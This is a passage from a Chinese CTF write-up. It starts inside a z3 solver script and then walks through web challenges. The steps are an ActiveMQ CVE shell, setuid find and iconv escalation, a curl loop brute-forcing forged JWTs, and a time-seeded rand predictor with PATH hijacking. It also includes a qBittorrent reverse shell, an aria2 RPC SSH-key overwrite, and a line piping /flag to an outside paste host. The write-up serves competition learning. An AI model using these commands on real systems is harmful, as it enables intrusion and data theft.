 ↪  * (v11 + v19) + 104 * (v33 + v20) + 43 * (v28 + 2 * v29 + v29) + 32 * (v8 + v7 + 2 *
 ↪  v8 + 2 * (v23 + v26)) == 421905 )
```

```
s.add( 211 * v24 + 63 * v15 + 176 * v5 + 169 * v16 + 129 * v27 + 146 * v40 + 111 * v26 +
 ↪  68 * v42 + 39 * v25 + 188 * v23 + 130 * v9 + (v31 * 64) + 91 * v41 + 208 * v20 + 145
 ↪  * v39 + 247 * v18 + 93 * (v22 + v17) + 71 * (v6 + 2 * v11) + 103 * (v8 + 2 * v30) + 6
 ↪  * (v21 + 10 * v28 + 28 * v7 + 9 * v29 + 19 * v2 + 24 * v1 + 22 * v3) + 81 * v10 + 70
 ↪  * v4 + 23 * v19 == 356282 )
v12 = v10 + 2 * (v31 + 4 * (v29 + v17)) + v31 + 4 * (v29 + v17)
s.add( 94 * v42 + 101 * v2 + 152 * v40 + 200 * v7 + 226 * v8 + 211 * v23 + 121 * v24 + 74
 ↪  * v11 + 166 * v18 + ((v6 + 3 * v28) * 64) + 41 * (4 * v9 + v21) + 23 * (v39 + 11 *
 ↪  v41) + 7 * (v20 + 10 * v25 + 2 * v12 + v12) + 3 * (78 * v30 + 81 * v16 + 55 * v27 +
 ↪  73 * v1 + 4 * v26 + v15 + 85 * v3 + 65 * v19) + 62 * v22 + 88 * v5 + 110 * v4 ==
 ↪  423091 )
s.add( 133 * v22 + 175 * v15 + 181 * v30 + 199 * v16 + 123 * v27 + 242 * v1 + 75 * v6 +
 ↪  69 * v2 + 153 * v40 + 33 * v26 + 100 * v42 + 229 * v7 + 177 * v8 + 134 * v31 + 179 *
 ↪  v29 + 129 * v41 + 14 * v10 + 247 * v24 + 228 * v20 + 92 * v11 + 86 * (v9 + v32) + 94
 ↪  * (v23 + v21) + 37 * (v17 + 4 * v3) + 79 * (v25 + 2 * v28) + 72 * v5 + 93 * v39 + 152
 ↪  * v4 + 214 * v19 == 391869 )
s.add( 211 * v24 + 213 * v18 + 197 * v40 + 159 * v25 + 117 * v21 + 119 * v9 + 98 * v17 +
 ↪  218 * v41 + 106 * v39 + 69 * v11 + 43 * (v2 + v29 + 2 * v2) + 116 * (v4 + v10 + v37)
 ↪  + 5 * (v42 + 9 * v23 + 35 * v20 + 37 * v31) + 11 * (v16 + 13 * v27 + 5 * v5 + 8 *
 ↪  v30) + 6 * (29 * v28 + 25 * v8 + 38 * v22 + v15 + 13 * v1 + 10 * v3) + 136 * v7 + 142
 ↪  * v6 + 141 * v19 == 376566 )
s.add( 173 * v3 + 109 * v15 + 61 * v30 + 187 * v1 + 79 * v6 + 53 * v40 + 184 * v21 + 43 *
 ↪  v23 + 41 * v9 + 166 * v31 + 193 * v41 + 58 * v24 + 146 * v10 + (v20 * 64) + 89 * v39
 ↪  + 121 * v11 + 5 * (v17 + 23 * v8) + 7 * (29 * v18 + v29 + 4 * v7) + 13 * (3 * v42 +
 ↪  v16 + 7 * v26 + 13 * v2) + 3 * (v4 + 83 * v5 + 51 * v27 + 33 * v22 + 8 * (v19 + 4 *
 ↪  v28) + 18 * v25) == 300934 )
v36 = 3 * v21
s.add( 78 * v1 + 131 * v5 + 185 * v16 + 250 * v40 + 90 * v26 + 129 * v42 + 255 * v28 +
 ↪  206 * v8 + 239 * v25 + 150 * v10 + 253 * v39 + 104 * v22 + 58 * (v2 + 2 * v7) + 96 *
 ↪  (v15 + v31) + 117 * (v9 + 2 * v4) + 27 * (v17 + 8 * v18 + v18) + 19 * (v23 + 3 * v21
 ↪  + 4 * v29 + v29) + 7 * (22 * v41 + 3 * (v11 + 11 * v24) + v3 + 29 * v6 + 14 * v27) +
 ↪  109 * v20 + 102 * v30 + 100 * v19 == 401351 )
s.add( 233 * v19 + 71 * v5 + 209 * v27 + 82 * v6 + 58 * v26 + 53 * v25 + 113 * v23 + 206
 ↪  * v31 + 39 * v41 + 163 * v20 + 222 * v11 + 191 * v18 + 123 * (v7 + v40) + 69 * (v9 +
 ↪  2 * v22 + v22) + 9 * (v3 + 8 * v24 + 7 * (3 * v1 + v28) + 5 * v16 + 19 * v30) + 4 *
 ↪  (v15 + 26 * v17 + 61 * v29 + 43 * v42 + 49 * v2 + 32 * v4) + 10 * (7 * (v8 + v36) +
 ↪  v39 + 12 * v10) == 368427 )
s.add( 139 * v30 + 53 * v5 + 158 * v16 + 225 * v1 + 119 * v6 + 67 * v2 + 213 * v40 + 188
 ↪  * v28 + 152 * v8 + 187 * v21 + 129 * v23 + 54 * v9 + 125 * v17 + 170 * v24 + 184 *
 ↪  v11 + 226 * v22 + 253 * v18 + 26 * (v29 + v41) + 97 * (v4 + 2 * v25) + 39 * (5 * v26
 ↪  + v27) + 21 * (v39 + 8 * v42) + 12 * (17 * v10 + v31 + 15 * v7 + 12 * v19) + 165 *
 ↪  v20 + 88 * v15 + 157 * v3 == 403881 )
s.add( 114 * v3 + 61 * v27 + 134 * v40 + 62 * v42 + 89 * v9 + 211 * v17 + 163 * v41 + 66
 ↪  * v24 + 201 * (v7 + v18) + 47 * (5 * v16 + v22) + 74 * (v4 + v31) + 142 * (v2 + v28)
 ↪  + 35 * (v20 + 6 * v26) + 39 * (v15 + 6 * v30) + 27 * (v25 + 9 * v23 + 8 * v6) + 4 *
 ↪  (v21 + 63 * v19 + 2 * (v1 + 12 * (v10 + v5) + 8 * v11 + 26 * v29)) + 10 * (v8 + 4 *
 ↪  v39 + v39) == 382979 )
s.add( 122 * v25 + 225 * v21 + 52 * v23 + 253 * v9 + 197 * v17 + 187 * v31 + 181 * v29 +
 ↪  183 * v41 + 47 * v20 + 229 * v39 + 88 * v22 + 127 * (v10 + v32) + 37 * (v7 + 3 * v3)
 ↪  + ((v11 + 2 * v30 + v30) * 64) + 7 * (21 * v8 + v27 + 18 * (v4 + v1 + v38)) + 6 * (23
 ↪  * v24 + v26 + 17 * v2 + 39 * v6) + 10 * (v5 + 11 * v28 + 21 * v42) + 149 * v19 + 165
 ↪  * v40 + 121 * v15 == 435695 )
```

```
s.add( 165 * v20 + 223 * v4 + 249 * v5 + 199 * v1 + 135 * v2 + 133 * v26 + 254 * v42 +
 ↪  111 * v7 + 189 * v28 + 221 * v25 + 115 * v21 + 186 * v9 + 79 * v41 + 217 * v24 + 122
 ↪  * v11 + 38 * v18 + 109 * (v34 + v29) + 14 * (v8 + 17 * v40 + 8 * (v6 + v38)) + 4 *
 ↪  (11 * (5 * v30 + v39) + 6 * (v10 + 2 * v22) + v27 + 52 * v17 + 50 * v23) + 229 * v15
 ↪  + 86 * v3 + 234 * v19 == 453748 )
s.add( 181 * v25 + 94 * v42 + 125 * v1 + 226 * v26 + 155 * v7 + 95 * v21 + 212 * v17 + 91
 ↪  * v31 + 194 * v29 + 98 * v24 + 166 * v11 + 120 * v22 + 59 * v18 + 32 * (v9 + v8) +
 ↪  158 * (v6 + v5) + 101 * (v41 + v19) + 63 * (v4 + 2 * v23) + 67 * (v28 + 2 * v20) + 11
 ↪  * (v39 + 10 * v16 + 11 * v10) + 39 * (v30 + 4 * (v2 + v15)) + 233 * v40 + 56 * v27 +
 ↪  225 * v3 == 358321 )
s.add( 229 * v21 + 135 * v4 + 197 * v15 + 118 * v5 + 143 * v16 + 134 * v6 + 204 * v40 +
 ↪  173 * v26 + 81 * v7 + 60 * v28 + 58 * v8 + 179 * v23 + 142 * v9 + 178 * v17 + 230 *
 ↪  v31 + 148 * v29 + 224 * v41 + 194 * v24 + 223 * v10 + 87 * v20 + 200 * v39 + 233 *
 ↪  v11 + 49 * v22 + 127 * v35 + 31 * (4 * v27 + v18) + 42 * (v1 + 6 * v2) + 109 * v42 +
 ↪  75 * v3 + 165 * v19 == 456073 )
s.add( 41 * v4 + 253 * v3 + 163 * v15 + 193 * v30 + 155 * v16 + 113 * v27 + 131 * v6 + 55
 ↪  * v2 + 21 * v40 + 53 * v26 + 13 * v8 + 201 * v25 + 237 * v9 + 223 * v31 + 95 * v24 +
 ↪  194 * v20 + 62 * v39 + 119 * v11 + 171 * v22 + 135 * v18 + 69 * (v10 + 3 * v28) + 211
 ↪  * (v1 + v29) + 4 * (43 * v7 + v42 + 40 * v17) + 6 * (v5 + 33 * v41 + 20 * (2 * v19 +
 ↪  v21) + 24 * v23) == 407135 )
v13 = v6 + v1 + 8 * v6 + 4 * (v8 + 2 * v27)
s.add( 111 * v19 + 190 * v3 + 149 * v4 + 173 * v28 + 118 * v23 + 146 * v29 + 179 * v10 +
 ↪  51 * v20 + 49 * v39 + 61 * v11 + 125 * v22 + 162 * v18 + 214 * v35 + 14 * (v34 + v24)
 ↪  + 178 * (v41 + v16) + 11 * (4 * v9 + v21 + 17 * v42) + 65 * (v26 + v17 + 2 * v26 + 2
 ↪  * v5) + 4 * (v7 + 38 * v15 + 4 * v13 + v13 + 8 * v40 + 43 * v2) == 369835 )
s.add( 27 * v27 + 223 * v6 + 147 * v26 + 13 * v21 + 35 * (v17 + 7 * v4) + 57 * (v19 + v32
 ↪  + 3 * v11) + 11 * (v1 + 17 * (v9 + v5) + 10 * v16 + 3 * v31) + 2 * (53 * v23 + v25 +
 ↪  38 * v15 + 43 * v42 + 115 * v29 + 61 * v22 + 111 * (v10 + v40) + 14 * (v20 + v7 + 2 *
 ↪  v7 + 8 * v28) + 109 * v2 + 100 * v41 + 63 * v8) + 93 * v39 + 251 * v30 + 131 * v3 ==
 ↪  393303 )
s.add( 116 * v9 + 152 * v29 + 235 * v20 + 202 * v18 + 85 * (v8 + 3 * v11) + 221 * (v16 +
 ↪  v40) + 125 * (v33 + v24) + 7 * (19 * v4 + 9 * (v10 + 2 * v25) + v2 + 33 * v3 + 32 *
 ↪  v19) + 3 * (71 * v39 + 43 * v22 + 32 * (v17 + v26) + 15 * (v5 + v6 + 2 * v23) + v28 +
 ↪  74 * v31 + 48 * v42) + 10 * (v21 + 11 * v30 + 16 * v15) + 136 * v7 + 106 * v1 + 41 *
 ↪  v27 == 403661 )
s.add( 127 * v4 + 106 * v15 + 182 * v30 + 142 * v5 + 159 * v16 + 17 * v1 + 211 * v6 + 134
 ↪  * v2 + 199 * v7 + 103 * v28 + 247 * v23 + 122 * v9 + 95 * v41 + 62 * v10 + 203 * v39
 ↪  + 16 * v11 + 41 * (6 * v42 + v25) + 9 * (22 * v24 + v20 + 27 * v31 + 28 * v40) + 10 *
 ↪  (v8 + v22 + v36 + 8 * v17 + 2 * (v22 + v36 + 8 * v17) + 13 * v29) + 6 * (23 * v27 +
 ↪  v26) + 213 * v18 + 179 * v3 + 43 * v19 == 418596 )
s.add( 149 * v19 + v1 + 133 * v22 + 207 * v41 + 182 * v26 + 234 * v7 + 199 * v8 + 168 *
 ↪  v21 + 58 * v10 + 108 * v20 + 142 * v18 + 156 * (v9 + v25) + 16 * (v29 + 6 * v31) +
 ↪  126 * (v17 + 2 * v39) + 127 * (v4 + 2 * v27 + v40) + 49 * (v30 + 4 * v16) + 11 * (v5
 ↪  + 22 * v11) + 5 * (v15 + v42 + 45 * v24 + 50 * v28) + 109 * v2 + 124 * v6 + 123 * v3
 ↪  == 418697 )

print(1)

print(s.check())
m = s.model()
print(m)
```

Web

Reverse and Escalation.

上去，发现是 ActiveMQ。

直接找个 CVE Payload 就能 getshell。

注意到 find 有 suid，直接读取 /flag

火箭大头兵

注意到 profile 的字段是拼接放进 ctx 的。

可以构造以覆盖 jwt secret。

直接暴力即可。

```
 for i in $(seq 0 2000); do token=`./jwt_gen $i`; echo $i $token; curl -vv
  ↪  'http://139.196.108.40:30369/message' -H 'Accept:
  ↪  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,ap
  ↪  \
  -H 'Accept-Language: zh' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H "Cookie: token=${token}" \
  -H 'Pragma: no-cache' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
   ↪  Chrome/122.0.0.0 Safari/537.36' \
  --insecure  > tmp2; done
```

Reverse and Escalation.II

一样套路拿到 shell 后，发现 find 是被替换过的。

要我传 arg 进去满足随机生成的等式。

拖下来逆一手。

```
cat /flag | curl -F "c=@-" "https://fars.ee/"
```

发现随机数由 time 确定，写个程序同时随机即可。

注意到过了条件也之后调 ls。但是是相对路径，那么改一手 PATH 就是了。

```
/*
 * tmp.cpp 2024-02-28
 * Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include <ctime>
#include <cstdio>
#include <cstdint>
#include <cstring>
```

```
#include <cstdlib>

#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == '-') fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
    return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p & 1 )
            res = res * a;
        a = a * a;
        p >>= 1;
    }
    return res;
}/*}}}*/

int main() {
    srand(time(0));
    printf( "find " );
    for( int i = 0; i <= 38; i ++ ) {
        int v7 = rand() % 23333;
        int v6 = rand() % 23333;
        printf( "%d ", v6 + v7 );
    }
}
```

Whose Home?

上去 qbit，先试试默认密码。

进去了，看看设置，发现邮箱部分是已经填写的。

任意执行反弹 shell 后，可以读到邮箱密码。

同时，iconv 有 suid，可以读到 flag1。

flag2 在别的机子上。

传个扫描器上去开扫。

扫到个 6800。

不放就当他是 aria2 的 rpc server，链接，用 smtp 密码当 token。

发现运行用户是 root，覆写公钥。

ssh 登录，读取 flag 即可。